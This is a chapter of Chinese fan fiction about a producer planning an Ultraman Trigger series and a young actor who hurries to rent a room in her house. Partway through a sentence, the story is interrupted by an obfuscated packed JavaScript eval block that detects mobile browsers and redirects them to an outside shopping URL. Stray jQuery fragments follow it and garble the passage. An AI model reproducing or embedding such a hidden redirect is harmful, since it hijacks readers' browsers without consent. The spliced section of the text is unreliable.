天空如墨汁泼洒一般黑,还有厚重的云层笼罩。
“纱织,明天要下雨的样子。”丰田留妃站在窗户边。
“是吗?那我明天不出门,在家等租房子的人来顺便研究剧本。”草间纱织收拾着厨房。
“剧本?”
丰田留妃转过身,背靠着窗台:“特摄剧的剧本?我可以看看吗?”
“这有什么不可以的,”草间纱织将水关上,“就在我包里,你拿去看吧,正好从你的角度帮我分析一下。”
丰田留妃走到沙发上,从她的包里拿出剧本在地毯上坐下翻开。
RAM1
(准备稿)
第一话
『光的延续者』
脚本:久弥直树
监督:暂定
登场人物:特利迦、静间结名、圣彰人、辰巳诚也。
1、地点:宇宙空间·太阳系外
在小行星带的瓦砾中,漂浮着卡尔蜜拉的石像。
碎石直击石像的额头,石像裂开了,裂纹蔓延至全身。
卡尔蜜拉:哇啊啊啊啊
伴随着卡尔蜜拉地怒吼,黑暗四溢,石像粉碎散落。
封印解除,卡尔蜜拉复活。
“停!”
丰田留妃停下念剧本,抬起头:“怎么了?”
草间纱织皱眉走过来坐下:“这是剧本的第一话第一幕?”
“对啊。”
她急忙拿过剧本,重新从上看到下,从右看到左。
丰田留妃看到她这个模样关心道:“纱织,有问题吗?”
草间纱织皱眉念叨:“卡尔蜜拉……是谁啊?”
“角色啊,”丰田留妃指剧本,“不写着吗?黑暗四溢,封印解除,复活的卡尔蜜拉十分愤怒,要去找特利迦算账。”
“可是,”她犹豫,“选角企划里,没有这个人物的选角啊。”
“啊?”丰田留妃也惊讶了。
“而且,”草间纱织再次重新看向剧本,“这个人物和卡蜜拉是什么关系?”
“卡蜜拉?”丰田留妃想了想恍然大悟,“哦,以前迪迦剧场版里那个黑暗女巨人?对哦,这两个什么关系,怎么名字都相似。”
草间纱织神情更严肃了:“迪迦的那部剧场版无论国内外都饱受争议,直到今年迪迦那几个编剧都还在暗戳戳地发言打架,怎么会以这部剧场版为蓝图写剧本啊。”
丰田留妃思考了一下:“说实话,我能理解。”
“说来听听。”
“迪迦那个年代是年番,你们是半年番,光是要带货卖玩具、展示怪兽皮套和奥特曼形态就已经分去好多部分,根本没有那么多时间去塑造人物。”
丰田留妃给她分析:“所以现在开篇最好就要有争议或者热议的爆点,而这些在电视剧或者电影里,无非就是撒狗血。”
草间纱织挑眉,指着剧本:“我们这是子供向,难道不是热血?大家嘴里喊着友情啊羁绊啊就往前冲吗?”
“不冲突啊,”丰田留妃摊开手,“之前的奥特曼里,也很多有感情戏。”
“那确实。”
“况且,纱织难道不知道,一直以来日本人最喜欢的影视作品叙事结构是什么吗?”
“不伦。”
“……”
“逗你的,”草间纱织抿嘴笑,“三角叙事嘛,可现在社会调查,喜欢纯爱的也很多。”
“你要不要看看有些纯爱作品算什么纯爱?”丰田留妃气呼呼叉腰,“我被骗进去杀好多次了……我真服了。”
“你也是深受其害了,”草间纱织点了点剧本,“可是我觉得作为奥特曼的叙事,还是不要这样了,迪迦因为那部剧场版多了很多不必要争议。”
“但争议等于有话题,”丰田留妃跪坐在她面前,“有话题就说明有人记住这部作品,有人看,这在商业上是成功的。”
她伸手点点头她的额头:“这个你比我懂吧?”
草间纱织垂眸思考,片刻后拿出手机。
“你给谁打电话?”
“我问问达贡,如果要拍感情线,为什么卡尔蜜拉没有选角的企划。”
拨通达贡的电话,对面听到她的问题后,笑眯眯回答。
“预算不够。”
“……”
毫不意外的回答呢。
草间纱织翻了个白眼:“可剧本是写了感情线啊,总不能皮套和人间体来演吧?多少有点诡异。”
“所以减少感情线了啊!”达贡的声音从手机里传出来,“卡尔蜜拉是事业脑,目标是夺取永恒核心。”
“胡说八道,”丰田留妃翻着剧本,“这剧本不像事业脑,我怎么看她都是为了特利迦,而且卡蜜拉都有演员,卡尔蜜拉怎么能没有。”
达贡:“没有预算就没有演员,没有演员就没有互动戏份,没有互动戏份就没办法塑造,加上皮套无法表现更深的情感,所以她和特利迦的感情线就这么浅,基本就是打来打去。”
草间纱织揉着太阳穴:“那也不能平白无故打来打去吧。”
“三千万年恩怨,这理由还不充分?”
丰田留妃:“理由充分,可是如果观众不明白‘三千万年’这个时间和特利迦对于卡尔蜜拉的意义和重量,那么她就是无理取闹。”
“是吗?”达贡声音犹豫,“那我就不知道了,黑暗三人组确实都没有选角企划。”
“黑暗三人组?”草间纱织沉思。
好像迪迦那部剧场版里,确实是有三个人,一个卡蜜拉,还有两个叫什么来着?
“希特拉和达拉姆。”
“……”草间纱织缓缓低头,看向手机,“敢情你给神野取名希特拉姆的灵感来源于这里啊。”
“嘿嘿,我只是觉得希特拉和达拉姆挺帅的。”
草间纱织:“那卡尔蜜拉的这三人组叫什么名字?”
“还没有名字,这种配角的配角,名字都是最后取。”
草间纱织无语地笑了:“那行,现在开始有了。”
达贡疑惑:“有了?叫什么?”
“达贡和希特拉姆。”
“……”
电话那头传来死一般地沉寂。
“喂,还在听吗?”
“你们要不要给我一点版权费?”达贡慢悠悠开口。
“你根据达拉姆和希特拉给自己和神野取名,O谷没找你要版权费都算好了。”
“……算了算了,一个名字嘛,就当我客串演出了,不过关于卡尔蜜拉选角的事情,纱织你最好和高层去聊聊,这个我们确实做不了主。”
“行,知道了。”
草间纱织挂断电话,趴在沙发上,不停叹气。
“你这团队,确实困难。”丰田留妃拍拍她的肩膀,“还有,特利迦的主演,你有没有心仪的人选?”
“有一个。”她趴在沙发上有气无力。
丰田留妃看到她的模样,笑起来:“让你社死那个?你敢和他一起共事?”
“你这话说的,”她直起身体,“我不能因为自己社死就阻碍别人进步的道路吧,那我得多昏庸,而且我是制作人,又不经常跑片场,和他接触不会很多,我是绝对不会让他知道我是那晚的人。”
草间纱织站起身,给自己倒了杯水:“况且,他确实很适合这个角色,无论气质还是外形,最重要的是连名字都一样,简直天选之人。”
“那你决定了?”
“还没有,这个还得和选角导演讨论后再说。”
她喝完水回头:“你今天回家还是回片场?”
丰田留妃揽住她肩膀:“都不回,我要留到明天,帮你看看租房的人,要是那人我感觉不行,你答应租我都不答应。”
第二天清早,一间公寓的门大开,里面传出乒里乓啷的声音。
“我说了,我不去!”
“你就去看看房子好不好,都已经和房主约好了,而且你去看看又不会掉块肉!那房子真的很好。”
“看看收拾什么行李啊!”真中剑悟抓住自己的行李箱,“我宁愿去睡街边,都不去。”
“真是……烈男。”细贝圭看着和经纪人争夺行李箱的真中剑悟评价,“剑悟你知道吗?你现在的样子特别像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629335|206309||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在给谁守身。”
真中剑悟回头看着穿着睡衣妖娆靠着门框上的细贝圭,气不打一处来:“谁让你这么勤快给我收拾行李的。”
“勤快不好吗?”细贝圭撩了一下睡衣下摆,“那房子地段和价格我听了都羡慕,可惜啊,我没办法去。”
“总之!”真中剑悟弯腰抱住自己的行李箱坚决,“我不要去!”
佐藤真木擦了擦额头上的汗,实在拿他没办法,只能妥协:“好吧,我去给房主打电话告知退租的事情。”
听到他的话,真中剑悟终于松了口气,站起身把行李箱推到一边。
经过佐藤真木身边的时候,他无意中瞟了眼手机。
是佐藤真木和租房中介的LINE对话。
「这是草间纱织小姐的联系方式……」
真中剑悟猛地停住步伐,盯着经纪人的手机屏幕瞪大眼睛。
房主叫什么?
草间纱织?
他的大脑宕机,佐藤真木已经播出了那联系方式。
几声铃响后,一个熟悉的女人声音从佐藤真木的手机里传来:“喂,你好?”
真中剑悟听到这个声音的瞬间,指尖开始发麻。
如果说一个名字还没有办法确认,那么这个声音绝对错不了。
就是卡尔蜜拉。
真中剑悟的心头涌上名为欣喜若狂的情绪。
他的合租对象,居然是卡尔蜜拉?!
佐藤真木对他的想法一无所知:“你好,请问是草间纱织小姐吗?我是今天马上就来看房的人,我想……”
一个人影略过,佐藤真木还没反应过来,手机就被真中剑悟抢过去。
“滴!”
真中剑悟直接把电话挂断。
佐藤真木保持着听手机的姿势愣在原地,满脸疑惑眨眨眼。
他正要说话,真中剑悟已经火速抄起行李打开门,回头看向他:“什么时候能入住?今天可以吗?”
佐藤真木完全懵了,有种我是谁我在哪里的迷茫。
只有细贝圭在听到房主的名字后脸上的笑意愈发灿烂起来。
真中剑悟神色焦急:“佐藤你还愣着干嘛啊!走啊,看房子去。”
天空飘起了缠绵的细雨。
草间纱织站在窗边,望着院子里小彩灯上的水珠。
果然下雨了。
“纱织,”丰田留妃走到她旁边,“看房的人什么时候来啊?那通电话过去这么久了,怎么还没看到人?”
“快了吧,”她望着天空,“估计是下雨路上堵车耽误了。”
“也是,每次下雨东京的路况就不好,走吧,我们进去等,窗边有点冷——”
“滴——”
院子的门铃声响起。
丰田留妃望了眼:“来了。”
“嗯,我去开门。”
草间纱织走向房门,拿起玄关柜子上的一把透明雨伞,打开了门。
“叮铃铃——”
门框上的风铃声响起,合着雨声敲打伞面的声音在院子里纠缠不休。
“滴——”
门铃声又响了一次。
“来了!”
草间纱织回应着急促的门铃,走到院门前打开:“不好意思,久等——”
话在嘴边还未说完,草间纱织直接愣住了。
门外站着一个浑身湿透的青年。
黑色的头发湿漉漉地贴在他额头上,雨水顺着发梢不断地往下淌,划过他的眉毛、睫毛,最后挂在被冻得还有些泛红的鼻尖上。
他穿着一件黑色的夹克,里面白色内衬已经浸湿,胸口剧烈起伏,一只手握着行李箱的拉杆,另一只手还保持着刚才按门铃的姿势。
看到她的瞬间,青年的眼睛亮起来,就像黑漆漆的夜晚突然亮起的一抹月光。
草间纱织打伞的手不自觉握紧,不敢相信地打量着眼前的青年。
雨敲打伞面的声音和风铃声还在一起跳跃,一点一点跃到草间纱织的心上。
缠绵不停歇的细雨中,她满脑子只有剩下——
妈呀,怎么会是他?